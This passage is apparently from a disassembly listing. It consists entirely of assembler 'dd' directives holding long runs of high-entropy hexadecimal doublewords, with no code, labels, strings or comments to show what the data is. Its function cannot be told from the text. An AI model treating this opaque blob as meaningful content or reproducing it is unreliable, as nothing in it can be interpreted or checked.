8A8D823Fh, 34FD35B2h, 0B779BD4Fh, 86F3AB69h dd 54D5338Ah, 0B407FFFFh, 7CB3B2A3h, 51F616CCh, 9D4CAE0h dd 377D2F52h, 0D297AD45h, 0FF3D0D94h, 0F79B47Bh, 32E753A4h dd 0C9022E9Ch, 0CF30C680h, 0B71FDF96h, 7FCC60CFh, 1BEFA816h dd 0DE839094h, 1EDEF599h, 0F4EABC63h, 0B18A4884h, 0D22F99E0h dd 53ADDBF7h, 39563281h, 0CBADDB6Fh, 95083663h, 13E224A4h dd 6BB6D58Eh, 5F5FE6E2h, 0A69DC433h, 70FB968h, 8AA120h dd 98F319EFh, 0B5D455D1h, 0CA4E4147h, 0C3CFD019h, 90A1D739h dd 18DCF353h, 6B858C34h, 0EA7550DCh, 7E52295Ch, 0B95CD4BAh dd 48FC9D1Dh, 0ED15CEF2h, 997A6C7Ah, 5E7AE38Ah, 8B605DF4h dd 2DB665AEh, 4BA0608Bh, 5351E3A0h, 1424E443h, 772EC641h dd 6709CC10h, 413936A8h, 0A877720Bh, 0EEDEB51Ah, 0E7756165h dd 0B2B92C72h, 1F1DEA03h, 0FA4A0633h, 8CAA9268h, 9762899Ch dd 0B61CE17Ch, 21081E5Ch, 387A064Fh, 84D7265Dh, 2884AC15h dd 9B957351h, 307508C8h, 0C73EEC77h, 0AAB06EE5h, 478570A5h dd 537404D0h, 5AB7C16Ah, 67D1EE47h, 0F49FAC58h, 0C34A5B2Ch dd 0F864990Fh, 9612654Ah, 1EBF3863h, 902CB8DAh, 0D8F6BDA6h dd 31CA98B8h, 0A5AE2F82h, 75E0291Ah, 531B8282h, 7E29520Dh dd 385B853Bh, 5991E024h, 826CD54Ch, 0A9427675h, 46706240h dd 0C439030Bh, 0EEF64858h, 0B32FFF89h, 619FC2CEh, 0EEFDC668h dd 0F88F3B77h, 1CA8F3E8h, 8A8C48EBh, 7E6C66BDh, 6F72506h dd 220C7242h, 1552D1E8h, 3F9F2F9Eh, 5F404FDAh, 4451553Fh dd 33FF7561h, 3D88AA60h, 0D698BC8Fh, 0EC37912Dh, 3B3B9BB6h dd 6FBE9291h, 91BF43D6h, 0AB577B63h, 909E9AADh, 0FB56AEC6h dd 0A2283A0Fh, 5390D26Dh, 0ECEAC71Bh, 5A7BCB84h, 0F8B1B8FCh dd 4AD4C2D1h, 0B9DA6B5Bh, 8C0A4A19h, 0D5814FCEh, 0A4FE5109h dd 0C0D39FD2h, 1C936A33h, 9445FF14h, 0CECBD3F2h, 3CE976F8h dd 5B382548h, 0B37094F1h, 908AFEC0h, 29921713h, 7F81D686h dd 0F2EB231Bh, 0D414C064h, 5CB9FA3Dh, 13BBCD64h, 0C96C74EDh dd 5D498397h, 3704775Ah, 0DCE3867h, 0FC417EA7h, 0C3110FF7h dd 0D81A2BCFh, 0BC98F765h, 0BCDEBC1Ah, 0F36337B8h, 0CCB6218Fh dd 5E867FA1h, 0F69AA491h, 93C5FF17h, 0F1CCAF90h, 0C2FD0744h dd 6637D881h, 503F9971h, 4CD6B37Ah, 0A3336A45h, 0DB4F956h dd 4AE04E86h, 0FA7EC3A5h, 797AC216h, 0AFE72138h, 8F10380Dh dd 0A675AE71h, 3A657428h, 0A2C0DF8h, 3FEE40C5h, 321A8D5Bh dd 13DD3A4Fh, 7A8B7CCCh, 0F8B5213h, 19308DE1h, 73A9CB5Eh dd 0D0095C3Ch, 0AABD09F6h, 816455F8h, 773EDCAFh, 984C9275h dd 0F968FF77h, 0FF1EFB2h, 0A3048C3Bh, 2E155E11h, 0F1E25D68h dd 8C7BFBC5h, 3753944h, 0C08E2EDh, 0FC5CA23Ch, 77944430h dd 9E55BDCFh, 0CC1AD588h, 0E60F166h, 53D02DB4h, 0E5BB30DEh dd 0F978EF27h, 2EDD138Eh, 0D61C2EBAh, 99CBA747h, 9D2642A7h dd 0B00C3FC6h, 72182186h, 0D9A5104Bh, 0D449478h, 0A2D37E20h dd 0DEB6120h, 58956024h, 0F0334676h, 0C4F746CFh, 0C5C0A40Ch dd 2451BE19h, 0A1D55858h, 29B30813h, 472070Ch, 0BC372C64h dd 0C16914FCh, 841F90A6h dd 83053303h, 9103C525h, 6A9CDC0Bh, 0AB08C457h, 67EB5DD6h dd 5931E763h, 0DCD26264h, 6AE56783h, 0A4EBFF3Fh, 85043B16h dd 628E8555h, 50B9EA7Fh, 8737B55Fh, 0A38A6D77h, 8DB1A297h dd 0CD73C3E7h, 20D57B4Bh, 529035EBh, 606BC485h, 0E4E49749h dd 0CC3BDDFAh, 0E68DE70h, 12E80C30h, 12EE5679h, 50B03C00h dd 8E7C0FDDh, 5CC066EAh, 20793E2Dh, 1464E383h, 7F78BA68h dd 0A50E6DBEh, 6724498Bh, 9C155411h, 7C3C227h, 53AE70B7h dd 7351029h, 1A686565h, 6D4CE58Eh, 65693778h, 3A1A019Eh dd 6E6FB5D8h, 0AC05EEBFh, 0E8BAB03Fh, 0EA017221h, 98E3078h dd 3C603B38h, 0A7CB3C6Dh, 0A6A7B9F9h, 0A70B9D90h, 111C9D7Eh dd 1F29670Fh, 4E16B21Fh, 60645E18h, 0C537AFDh, 0CF176966h dd 1FB4BC70h, 47BDFF28h, 78C3E0E0h, 7C3AE9D4h, 0E034B05Fh dd 1C56A6B6h, 80395CC3h, 1C9B63B7h, 0AF60B79Dh, 647A0ADCh dd 0B867CD2Ch, 82E748BBh, 0CB778380h, 4EC9F6AAh, 319E6DA3h dd 599C12h, 0B788E9D8h, 0ACFB5D8Bh, 71F4A0D7h, 5F236331h dd 4FB89403h, 4ABD1FEFh, 108C7064h, 19565550h, 2A68735Eh dd 78C24A35h, 0DA329C13h, 0C0405DBDh, 948D3DB5h, 86212EC6h dd 1FE2F2B2h, 0D8511F7Fh, 0F4D4CE38h, 2EB08DDFh, 59195680h dd 69EF62F5h, 76030E14h, 2A5B4074h, 7680DC45h, 15999E69h dd 0E866EE0Ah, 0F29BE3C6h, 0E088E3D3h, 0A39FBC27h, 0D32250D3h dd 9122B96Dh, 3E24C176h, 0A3375E6Ch, 2237796h, 0A8B96856h dd 990577A0h, 6310F31Ch, 8B35A73Ah, 0F39BEF3Ch, 9D19B92Eh dd 9DB5884Eh, 4F26201Ch, 10BFF262h, 0DDA73A26h, 4A6DF306h dd 4958EBB8h, 68B80567h, 4A7D9D5Ah, 6FEBF7FCh, 0F3385B32h dd 443EB8D6h, 4242D066h, 8AC0BF80h, 80BAB785h, 0E91314D3h dd 35F0229Fh, 70250B2h, 0C63AE6E1h, 9C7247h, 0B4FCB111h dd 42BDB9A1h, 603D16B9h, 0BD32799Eh, 0EDF13C9Dh, 15B9686Eh dd 41EC57FDh, 642BCFA6h, 0CE5C411Fh, 0EAC8D3B9h, 0C0D5CB5Dh dd 86D4885Dh, 5DD66EE0h, 2FFD1375h, 31D3748Ch, 0C1C935DAh dd 3417C7AFh, 0F57DEEACh, 962DA4F3h, 0F3F31026h, 617826DCh dd 0F3C279CCh, 924A2EF2h, 23C4F1DEh, 7FFD45FAh, 18B7A29Dh dd 9475E42Ah, 0B5352C65h, 0D0F7F353h, 0D74B7B83h, 6D0C27BEh dd 0CB0CFFh, 0B5BA921Bh, 70BBCC87h, 0E0DB6512h, 34E38E67h dd 84B9EC9h, 0B637D3EFh, 1CDDBDEAh, 0CB5A11D3h, 0B7F4DAA1h dd 0AE196E2Fh, 0FE4266FBh, 7E28DEE4h, 0DD00E02Ch, 221B1892h dd 52AAF191h, 590541B9h, 0CA45D95Ah, 30276C96h, 21931E34h dd 0A0C9D009h, 0FD3EAB00h, 0A6910964h, 0F0E3D961h, 8884853Ch dd 0C07A1DA7h, 0CE698EF0h, 8C4BA956h, 0C587B682h, 0C9A9C471h dd 48D64744h, 0C49770C0h, 3FA21441h, 69D8FB72h, 0D8E9C780h dd 470F7EC0h, 0C231E1B8h, 766CF1C8h, 0F82DE6B1h, 0B3B27E31h dd 78536FC4h, 4E7ABB22h, 6372E9C4h, 743C5A1Ah, 335222C0h dd 0B0405806h, 25FAE3E8h, 12BE5CDFh, 9FECD199h, 2C170726h dd 0C81D18D6h, 3D348E9Ch, 0C9DECA0Dh, 943E03E0h, 457DD182h dd 0DBB623D1h, 1116FC74h, 0C824D29Fh, 6A9001CBh, 0C88D3A45h dd 608FC22Bh, 17E409BEh, 59833522h, 0C99A455h, 0A6FE5414h dd 0ED5447E2h, 546102A6h, 0E88CA887h, 0A67DE97Ch, 800EC4F4h dd 3CEE11BBh, 35A3CE20h, 0CA37D075h, 79ACD92Dh, 0B6147AD9h dd 0EAA936F5h, 8C3E5FCEh, 9755EB6Bh, 2E39B1DDh, 4490A6FCh dd 0E41BAC99h, 1EF8D3C9h, 2A27F793h, 0B48B0E33h, 0E0232898h dd 7418A6DCh, 3F384EFAh, 2A059EDAh, 0F885FBF6h, 0A35A7A2Fh dd 52B86E88h, 0CC4C390Ch, 33C46BCBh, 9EBA7810h, 0C16B08A6h dd 72C9066Bh, 0C8567EF6h, 0A6B6DD69h, 0BC693933h, 567FEC19h dd 76302905h, 0CEAB4A2h, 0CBEA0F1Ch, 0F3337D61h, 0CAC6602Fh dd 3E458076h, 0B59368ABh, 0AF089A70h, 66C55461h, 46E9D052h dd 39E9C129h, 3586030Ch, 11A47C9Ch, 0A251C620h, 0EDD051F1h dd 5266AF5Ch, 2E4EA6Ch, 4C5C39AFh, 0C9E0C6D8h, 0C8B77382h dd 68C342B5h, 0A4CBCEAFh, 0CA235B31h, 4573E0F7h, 37D9F948h dd 0FB9231Dh, 9BFAD393h, 0A5FC87EFh, 0F265D542h, 4483DF73h dd 0D78B0FE4h, 172A2A9Ah, 4619F8B6h, 46066A6h, 5B6D0C45h dd 1700CEB5h, 0DD86002Eh, 0C09F0762h, 0DD6F3FCh, 0B3F45ACEh dd 0BEF3B903h, 54ADB0AFh, 6D8AADDFh, 74229553h, 6172DA9Bh dd 2350E987h, 7F9F8614h, 0F8711A06h, 0F465487h, 0B6D94737h dd 2D6C1E35h, 0B5EE3AFFh, 0EB661C6Fh, 9BA09671h, 0E89235B5h dd 82C0FEC4h, 34C047E4h, 0A6CF62F4h, 0B4FE2983h, 0C059AFD2h dd 0D577C97Ch, 965FF2FEh, 0F7759397h, 95896B2Ch, 9E0B82AAh dd 71CB9A9Ch, 92B9B958h, 78C26090h, 3302B249h, 843DBF44h dd 69214349h, 33D5853h, 0C0B6275Ch, 6AD76C0Eh, 0DD213C3Ch dd 87C963EEh, 5B8E91F6h, 0E6328E18h, 15A947Ah, 92787F9Fh dd 8F54B89Fh, 105CF4BBh, 1D626E65h, 2D6CEB67h, 29FE451Ch dd 34863687h, 5DF42C44h, 33F10B97h, 0D816CDBBh, 207F2CE5h dd 0A8FFB8B9h, 4A6382F4h, 0EF82EB4Fh, 0B82321D9h, 0B903E362h dd 0C43755E8h, 22F95743h, 12DA23Ah, 0FEA28757h, 0C03F896Eh dd 5C7A189Ah, 7319EAAh, 89017B09h, 375F0C16h, 0F586D78Bh dd 465E2146h, 8583606Bh, 0DD54604Ch, 446D430Ah, 0F79625ECh dd 0A44B01C1h, 0AC8E6430h, 56FC0270h, 6F30ACDAh, 6D0123F7h dd 196232C5h, 56E744E9h, 0F15D1EB0h, 460C3234h, 7971F3FCh dd 0AB78EFD2h, 4A21A04Ah, 77AE357Ah, 3BE9BBA3h, 0A6A712ADh dd 0C0E46F7Fh, 0E542C29Fh, 656C87B4h, 64CF0854h, 69E79B24h dd 0F91FFE19h, 89AF81ADh, 6C945656h, 0E279E92Ah, 6DF706E4h dd 5A2A1CBCh, 0E8806C1Eh, 0AD5E3C92h, 5EC08D7h, 96F3E09h dd 0E30D8F38h, 9C1DFE78h, 6D66AD97h, 20AF3003h, 0D3EA6127h dd 58FD0DA8h, 4ED1B807h, 38F80F69h, 28F18D49h, 3D683155h dd 76188F9Fh, 7AA4C4D0h, 0C35B7F16h, 7841192Ch, 54563659h dd 9870997Dh, 2886A5DCh, 6ECE210Dh, 8F72188Fh, 0CD4D1FFEh dd 0B1792A21h, 764F7FA8h, 4A24C35Eh, 0F05BB2C0h, 4861F0B6h dd 5A104B00h, 48DE2CF8h, 96D4B78Eh, 0A26A81Bh, 804109C8h dd 49473954h, 6B1873F3h, 0C229B546h, 3DDA33ECh, 77876364h dd 2ADE75A9h, 573BC86Fh, 0B5872306h, 0CB035496h, 0DD36E126h dd 0AC9F298Ch, 1C266AC2h, 4F0A53h, 99A00C17h, 7ACB8800h dd 4C454DA1h, 49C6B46Bh, 55DD7B03h, 41DCB521h, 9729020Eh dd 66E99157h, 9F134121h, 4A57E8DCh, 0C7BFB2C9h, 44DB3A28h dd 0C407EB2Eh, 9D997F47h, 0F14F065Ah, 63F9F697h, 0A2741DE4h dd 5E99259Ah, 6C1166DFh, 1420E541h, 0F35ED103h, 2CFFDB9Fh dd 2F010A90h, 9ADC622Fh, 6912C8DEh, 4B0EFAF3h, 0C85BC65Fh dd 0D1A15096h, 9FA70B92h, 0AA169C31h, 0FE0B8D25h, 0DA41A280h dd 6BC0BFC2h, 3052E956h, 90D414F4h, 90B65267h, 785E4805h dd 6C49ACDBh, 751EB168h, 0D879ADC5h, 7493B178h, 0E106CF0Fh dd 450EBD67h, 4B033F82h, 0C68D0002h, 0B6DB73ECh, 84B5E6AEh dd 7A1B85D6h, 0DE3FFFBFh, 407859D0h, 0BA92E4A0h, 0A108A1CEh dd 0CB30BB60h, 52DA0349h, 59715AB3h, 8491D4EDh, 0B4F1E2CAh dd 6D2DB3Bh, 4E3C65CEh, 0C2F0C96Ch, 1695AB2Dh, 9BBC2FF3h dd 5D8F2FA4h, 6CC7D55Bh, 7D487960h, 8673D65Fh, 706A6694h dd 27E63DBCh, 0B8EA764Eh dd 0CD24886Fh, 0EA5752A2h, 0CE993548h, 2CD9B8A6h, 0B39D0C40h dd 0AB5C6E0Dh, 1415397h, 844EE62Dh, 3F997AEEh, 280CC012h dd 4C342F34h, 6FA5AA06h, 61C10497h, 0EFB0CC53h, 2329B815h dd 58097019h, 84B52CF1h, 76D46E3Eh, 0FE2633B7h, 0E0C7BE67h dd 23B3EE0Eh, 0C2213E7Ch, 0A5D67B9Eh, 0B6413504h, 0FF698F84h dd 24C741DFh, 80DCBB7Dh, 25A2962Ah, 0D0F41D47h, 2BE0295Bh dd 58E4B282h, 3404FFCAh, 0FCFCE1Eh, 1D82D95Eh, 7B16D791h dd 0B00697B6h, 0F39B3080h, 0AC015F0Ah, 104AE8B0h, 0EDE0473Bh dd 0E00569B1h, 579794C0h, 27956FA6h, 9D519189h, 72A26C35h dd 3762FC58h, 0CABBFEAh, 382B8507h, 0F2E483A5h, 9503A108h dd 4D3DEA29h, 1B412265h, 4BD2A01Eh, 0B35654C1h, 2E40C937h dd 69BF7BCh, 15DE6515h, 4B4A98D7h, 6A19F511h, 0D52AD178h dd 8CD586D6h, 55684A01h, 0FF603776h, 31E98A89h, 3C695B38h dd 6DE05B0Fh, 1CA8BA74h, 5639CEDCh, 0A10F0DF0h, 5E8F7F74h dd 0A1D28BA8h, 785F6880h, 104039Ch, 6E0A9F6Dh, 640C768h dd 8261BDB4h, 0FE73D813h, 7B455515h, 0D74781ABh, 72B2BBB3h dd 6365FC30h, 3F15E9F3h, 6F61D9E9h, 9FC3694Dh, 70D1E666h dd 0DC420F3Fh, 71C5B161h, 0F5A06943h, 0E605817Ah, 7260FF47h dd 0B00683C2h, 3E16289Bh, 18841723h, 52515F0Eh, 1F740729h dd 0E9C62CD9h, 5EFF3663h, 0DA102A2Dh, 0A68B5A3Dh, 0A2338E05h dd 0C920927h, 729E049Fh, 0B98EFB27h, 0A3969816h, 0FC1F76F5h dd 8E88ED69h, 43C95777h, 0EF44FCDEh, 84C05CAAh, 5F8A1391h dd 0DCC5B95Ch, 64904228h, 5B1861E9h, 3D3CC8DCh, 8ED0D775h dd 85A91DAAh, 4DD399CFh, 72F9C54Ah, 684D899Dh, 71CBD5A5h dd 99FB1AD9h, 0D3B6E7B0h, 34EA4E3h, 3ECCC6EEh, 891E4A1Ch dd 0D9BCCD34h, 0A7BC47F1h, 455F6182h, 8F1EC2C3h, 0FEF1F108h dd 2E096636h, 0E8EED7FBh, 3EDA6CA6h, 801CFEF3h, 9FD70B95h dd 731E733Fh, 0EB7AEC40h, 7C11C454h, 37E36338h, 6011FD6Fh dd 59C33869h, 0A317A367h, 62CDFC8Ah, 0E5AA9341h, 0E89D39C1h dd 78CC9ABCh, 3A27281Dh, 93C542A2h, 0CF579D71h, 399A3BC1h dd 0A2DA21B4h, 6788E7D9h, 53347574h, 0C1C277EAh, 30D52F1Bh dd 0C1B88224h, 2F105415h, 0E668C43Fh, 99323867h, 3B68B941h dd 91EC5E30h, 66FC461Fh, 0A9F15103h, 0F5A5B356h, 42379CFFh dd 0CA4DB986h, 64B5B73Ah, 3478ACD3h, 90EA4450h, 0B4612CBBh dd 7AEDF85Eh, 8EC94093h, 0CFB4D567h, 14EA3803h, 0D4F04BEh dd 9FD58082h, 39985175h, 0C260C1F0h, 0B26F97A6h, 57008324h dd 8A149D65h, 7EF4A3F4h, 0A051EA9h, 26D86D7Ch, 898701CBh dd 25BEAAF4h, 0AA3FE43h, 23C27802h, 0F5399E92h, 1326639Fh dd 0EAC157E2h, 0C0BAB9C6h, 37034985h, 5B450157h, 4D76B923h dd 0C1A74EB3h, 0B114D139h, 4B8BA092h, 0E90CD020h, 2F441371h dd 3D848C80h, 7BBD5FC9h, 9803B946h, 95EFCFCh, 0F36708DDh dd 0E13125BEh, 74262CBDh, 39E8FCEBh, 0ADAF1881h, 0A80A09D6h dd 4411235Eh, 9D31D22Eh, 0CBAAEAF9h, 7E3E3423h, 25518AF0h dd 929EEED2h, 95332539h, 331F3EB7h, 0AA5DB24Bh, 3169092Ah dd 0C1A68570h, 4A563B97h, 0AD884887h, 0EDA20D5Dh, 79250778h dd 14ACA865h, 0D6850780h, 4B8700DFh, 8AA1332Fh, 0CA23B22Ch dd 0A298628Eh, 0D8B0ADB2h, 0EC2251ADh, 87781CECh, 507BFE69h dd 249568B6h, 5D67A3BAh, 587BED48h, 9064CC01h, 0E1FE2513h dd 83665032h, 0D5311E7Eh, 0FB392D7Dh, 0E1DBE937h, 5580AA09h dd 0BCA87BB6h, 363CF21Ah, 1DC1E1F3h, 0E9E626BBh, 5907D822h dd 27EB5673h, 0AB07C404h, 35A51038h, 4860FC82h, 9A127B41h dd 3044863Eh, 7C258B50h, 0FDB79E4Bh, 0F7707E0Fh, 6F35272Dh dd 3449B602h, 817F2FAFh, 0A5152D4h, 278A4F9Dh, 2B7202Bh dd 0A57BCDC6h, 53993572h, 4CB34A84h, 1074DCDCh, 3DB60150h dd 138EA507h, 15238506h, 20FAAF5Ch, 30322E97h, 891E505Dh dd 7641FAAh, 471D17D8h, 71BA1AAAh, 0FC91FE41h, 556DF3ADh dd 712E4F6Ah, 0C8897904h, 156C86BFh, 3E58C485h, 5CA9ADB2h dd 18F5E705h, 98E5A329h, 0F0E7817h, 7DB82418h, 6EA9CD4Dh dd 5371CE82h, 2C0B4410h, 0DA008AACh, 9E7ADAC0h, 0B22F83F2h dd 554A1822h, 0F0C9328h, 242E261h, 0FF0DF657h, 5D3243A7h dd 9ADB003Ah, 0EFCBC7BBh, 5A4689E6h, 334069C8h, 757074F2h dd 4FF85E35h, 0B802B208h, 151AEE9Ch, 59BDF459h, 0F851CC86h dd 0F87A6971h, 0D42B1C01h, 32577019h, 9FA30926h, 0BD215E82h dd 0C0D3503Ch, 1B3BD89Ah, 361E9B21h, 0E8DB6A8Dh, 0F5E48BEh dd 0B4EEE63Bh, 9B62F656h, 20F5203Ch, 0EDD84178h, 0AA59A2C5h dd 536A1586h, 2994A4D4h, 6CA9AB8Ah, 53C80857h, 21AFB865h dd 3A3815F9h, 4D635A6Ah, 3D80D59Ch, 59EC2BB4h, 70F8A982h dd 8AC4EDBCh, 0E269684Dh, 67B6C917h, 0B74FE7E6h, 6D8408F2h dd 18A873FEh, 25E41F17h, 2CFAF0E6h, 0E73B9DF8h, 3ADD028Ah dd 0C15C118Eh, 0A0B3FE45h, 69AAAFAh, 0DE7E654Eh, 0FBD877F1h dd 60C990F1h, 47CAA9D5h, 575D8C7Bh, 0B0DA79C2h, 0B210B3E9h dd 92BD9151h, 95C09DC8h, 84CBC7E8h, 0E34815FCh, 73912080h dd 0AA937BD3h, 0DE1A0D41h, 0F66F8A4h, 635FDCAEh, 599F8160h dd 93D27BABh, 0DFBA7F54h, 8A52C725h, 1FDC8C97h, 0EAB47CF4h dd 4BC66588h, 591818E5h, 0A4D3E2FCh, 0FA7E85C0h, 0BEEC4FD4h dd 0D5CFB624h, 8A98F201h, 59731CCEh, 3327A136h, 0CA8627E1h dd 876073F3h, 7B960B33h, 6AA69F82h, 691E6B9Bh, 525F3164h dd 5907E839h, 0C0145802h, 68566698h, 611C5F93h, 0EFAAC925h dd 0C6BE5666h, 0E1053AEFh, 41ADAB54h, 4AD0A2D0h, 1B6B4367h dd 46C36143h, 0B1C305B5h, 723447D9h, 0EAB932EDh, 1AD820F0h dd 272C5B8h, 4AF0F7C5h, 4EF29D77h, 2444A943h, 49DAFEE9h dd 44A8B723h, 7A23B364h, 6A192C8Eh, 855F3234h, 0C9176DEh dd 0FCC43289h, 0BA46BD85h, 0C8666533h, 0AF15D2Ah, 8859D382h dd 94EBF56h, 0FB3EBF25h, 5FE8002h, 14B53001h, 38EF87DEh dd 1516098Ch, 35EDAAA8h, 65E0E8A3h, 0FC407FAFh, 0D27E357Dh dd 0F42CC745h, 0A576DFF1h, 4749B4AFh, 0EE8042B5h, 0ED20C4E2h dd 7CFDFAA4h, 9F18C8B1h, 9BC6D586h, 0BC86EB2h, 0B7BBB6DEh dd 0E7EC1A34h, 4B3F60D4h, 0A9F1BB47h, 79E0658Eh, 118FCDFAh dd 94268028h, 0AFD055ABh, 769464E6h, 7A0CB8ECh, 0D944CACEh dd 4BD5102Eh, 1F6E024Fh, 9E501D17h, 193754ECh, 0FDA5865Ch dd 0CF6637EFh, 9379D0D3h, 6F230AEEh, 0CAC2E205h, 0A517E197h dd 0E47AD59Bh, 0A22AC9D6h, 5EB56BFBh, 40A515A6h, 0A7032A5Fh dd 27BFD7FFh, 0B8F1B8CBh, 0A8D8D625h, 8D62B8A8h, 2D2A67B5h dd 2F82789Ch, 4098BF6Bh, 2BF70DE8h, 0CF57965Ch, 580B728Eh dd 5468DC71h, 0FDF1A289h, 0AF48B861h, 0AB283E6Bh, 9DE96451h dd 867E240Dh, 0BB2FA735h, 831C9190h, 54E59A76h, 3243211Fh dd 0C5BE3867h, 0A3F60DF1h, 0AFBD3C3Dh, 51D77983h, 0D83162D0h dd 0F8B500FEh, 6BB839FDh, 1E91A4F7h, 496A62Ch, 4330D4B7h dd 0C656C4E7h, 5BE15A4Eh, 83769632h, 4AD59C41h, 0E974F2h dd 600F8E93h, 0C0AC9177h, 3BDB32FFh, 3D6DAFC3h, 826C31CAh dd 0DA3CB319h, 7BA325E7h, 0A5C56722h, 8DE55126h, 3B981FC9h dd 4EF350EEh, 33A4E4B7h, 0AF35294Bh, 2C876C28h, 0F5FA4EE7h dd 1BB102D0h, 37B69EBh dd 0CB52C900h, 9B37E9E4h, 386841E3h, 47D6C154h, 0E4F303E3h dd 2D0A8905h, 1A7CB5DDh, 283A6B81h, 4F88F21Eh, 4E44A8CDh dd 9FABD88Fh, 0D8F47320h, 9033D972h, 0FD02B88h, 0EB8C7843h dd 2AE578E0h, 0A9737C4Fh, 75326AC1h, 7ECE4DB1h, 52DA4175h dd 26CF012h, 0E6D4E02Ch, 0E9BEF3A4h, 0DE8CE0AFh, 0D4E51DA5h dd 0A7BC71E8h, 74776332h, 0F7FC8679h, 2756F9C8h, 0B85662CBh dd 7339E529h, 3BF3B01Dh, 6FB55145h, 0F72F50DEh, 0DCC3C827h dd 5ACD52B2h, 0E5E878E6h, 0EF380926h, 40F88307h, 40A3B92Dh dd 989F61ECh, 0D76B4B22h, 60A075E5h, 0FAEBD72Fh, 9A5542C0h dd 723E3920h, 0A7BE070Bh, 0BF4CF2FCh, 68CA73E6h, 0AEDF3CB0h dd 0F0232211h, 8814ADE8h, 0EE06AF5Fh, 0B2EEC6E6h, 95DF8EE7h dd 0F7E433D9h, 0B6EA3BAAh, 7F2536F8h, 74AE509Ch, 1C910B9Ah dd 0AA6FDF33h, 92059295h, 56FE2720h, 79617247h, 1F05A163h dd 3841B651h, 0C1201DE0h, 29005728h, 99B0ACD6h, 0A0B7FAC5h dd 0B6A7A76Ch, 1706ACFBh, 0E71E06CEh, 77528737h, 0EC583C3Ch dd 5E32C1ADh, 0A6D9C39Ah, 11F351B7h, 860A68B1h, 0EB72A125h dd 0D8EA067Eh, 0ECD0184Dh, 0CC208F91h, 13ABB739h, 9A0612C3h dd 0E0F31E7Ah, 486BE6CCh, 0EF8FB73Eh, 0B394BB86h, 3A108AC4h dd 560FB53Dh, 0D316866Fh, 0B77C0511h, 8CA7AD4Ch, 0F9954DFEh dd 13FAE19Bh, 0CA502B79h, 843D33A0h, 0E29833E2h, 111A603Dh dd 794A85D2h, 9848492Dh, 59748E50h, 53C31D86h, 3DAE60A2h dd 3C5CC346h, 7FFF0389h, 0A7F4379Dh, 3AEA918Eh, 29BDE150h dd 7EAAD98Bh, 0E7998F1Ch, 0F043E2E3h, 758693C6h, 726BEA73h dd 577931Bh, 0AE9D3D57h, 0AFBF5D91h, 0A66E4D4Bh, 60B6BF93h dd 0E124B0B5h, 50E53ACDh, 0DF013E2Ah, 0F2385C61h, 117B50B4h dd 8158178Bh, 0C8E07636h, 0E69C47FCh, 7DE38893h, 1E257607h dd 0C06619E3h, 0B8659BD9h, 898A6ECFh, 0E6903605h, 0E120D376h dd 63A0425Eh, 0F0D3201Bh, 81EEF14Bh, 754807C2h, 0C17FD7DDh dd 49D005AFh, 344CF7EDh, 5F36ECAEh, 8C66945Ch, 0CA3D19AAh dd 0A492984Eh, 4915EBD3h, 0A3927204h, 0B6FCC513h, 871FF515h dd 982B78A5h, 362D5934h, 5A65E4CCh, 3842D634h, 44BF3622h dd 3DAE46ACh, 0F44C7678h, 3B77E3E8h, 3F8EC3D0h, 5620266Ah dd 0E9057856h, 2C3FEDCDh, 2504AECCh, 8DB1D437h, 54661F6Fh dd 0DF3C96AAh, 0B47C74E2h, 0EFD47E29h, 75D9DD96h, 9B1762A0h dd 516C2875h, 7DCBD696h, 5647E986h, 0D7852B17h, 3EBD054Bh dd 8910A2F4h, 8D6ED90Ch, 0B7A51902h, 7A488511h, 7B470F57h dd 76F1D04Dh, 0A12C44EBh, 629E917Ch, 0BAD2C533h, 6435640Bh dd 661F3A43h, 0B6CF08C3h, 4782E97h, 208DED6Fh, 0A2562609h dd 0BABC8415h, 34E5F54Bh, 73E00DE9h, 310AFA7Ch, 0EE8FED2Eh dd 0BE71B269h, 0EF430FA8h, 0AA4B822Ch, 0C80F3019h, 43D74F0Eh dd 3C4F3C85h, 2FA47172h, 0A2348F5Fh, 7BA6A030h, 0EBA7098Fh dd 0A55C172Dh, 48056B1Fh, 198878C1h, 29987EF2h, 0CDD58C27h dd 2436A7B4h, 0C257A34Dh, 70A3C243h, 0E27E38D5h, 0EE447E42h dd 87B77F04h, 95F50FB1h, 0EA823E0Bh, 1D1D860Eh, 0AC263B7Bh dd 1529B497h, 2653142Ah, 44F408CFh, 7BD52125h, 1811A610h dd 29FE0ABEh, 0AD72B4D2h, 4E50F5CBh, 5BE0DBD7h, 0E54A364Ah dd 8A0E9DE7h, 0A054EF57h, 0CDD1DD47h, 0C38CE69Bh, 4E485876h dd 8C8D7CC1h, 0A426A839h, 63AE4A29h, 66FA7C86h, 248B8D8Dh dd 0E09DC322h, 0CFEC20C3h, 0A4F01348h, 87A880AEh, 502F30FAh dd 3A203C56h, 0E2838Ah, 0FBCD0AF5h, 860B5F5Bh, 2FC3A0B6h dd 45803C78h, 0F8389337h, 8A11B126h, 29674D4Ah, 0D3AC2F15h dd 0ECFF259Dh, 0EB6BE512h, 0F54EFC4Ch, 23F9E1F2h, 6ACDEB7Bh dd 0F34BEEB2h, 0ECDCA9EEh, 0C2A0AA6Eh, 0B7F0AED9h, 0DFCBC4BDh dd 361DCF0Bh, 5AA1F168h, 9137D39Fh, 0C9CC7C2h, 3D0334E0h dd 1D38E06Ah, 9C9E8CC5h, 0C6E0C186h, 0AD480C09h, 4984BC4Bh dd 7107A25Eh, 0AD70DAEFh, 0ABBDF18Fh, 8E59CB2h, 62A35CD3h dd 9BE643A8h, 0FFC8CA1Fh, 0BDEA9B9Ch, 158EE043h, 0D6212DE6h dd 4485DA83h, 2D55F990h, 7A7BED1Fh, 0D1E34577h, 68A0ED78h dd 558990EDh, 0A894A70Bh, 0E80F1360h, 0F703B5Ch, 523F1591h dd 0D1279534h, 5E5F13BEh, 3233A192h, 17DC30A9h, 981821C1h dd 12675372h, 0BB69B63Ah, 0DC71962h, 0B1983B9h, 0A2BCC5Fh dd 9E9EF34h, 117EBD3h, 85E5B2F3h, 0EB25200Eh, 29052334h dd 0CCF47DBBh, 0C888AE4Bh, 9D110550h, 7AD7F9E2h, 83A49B9Dh dd 34CC8571h, 0E5A370DCh, 58F54A0h, 0C3534AD5h, 0A3531D89h dd 0DB6A1638h, 8E088090h, 0A34BC10Dh, 436E926Fh, 82D099B4h dd 0E52B073Dh, 0FABEF185h, 4EDD208h, 166F98E3h, 0B024B407h dd 0E30D66C3h, 0D5EB66F2h, 0AC5CB8BAh, 7676CB33h, 127C75BFh dd 0D81DF3D9h, 0E5DF5ACAh, 7A0E8979h, 601319A8h, 9AAD5040h dd 76C95D48h, 0B306856Dh, 0B564834h, 0A78E647Ch, 0F4017D60h dd 0D8189FD1h, 42C1B55Fh, 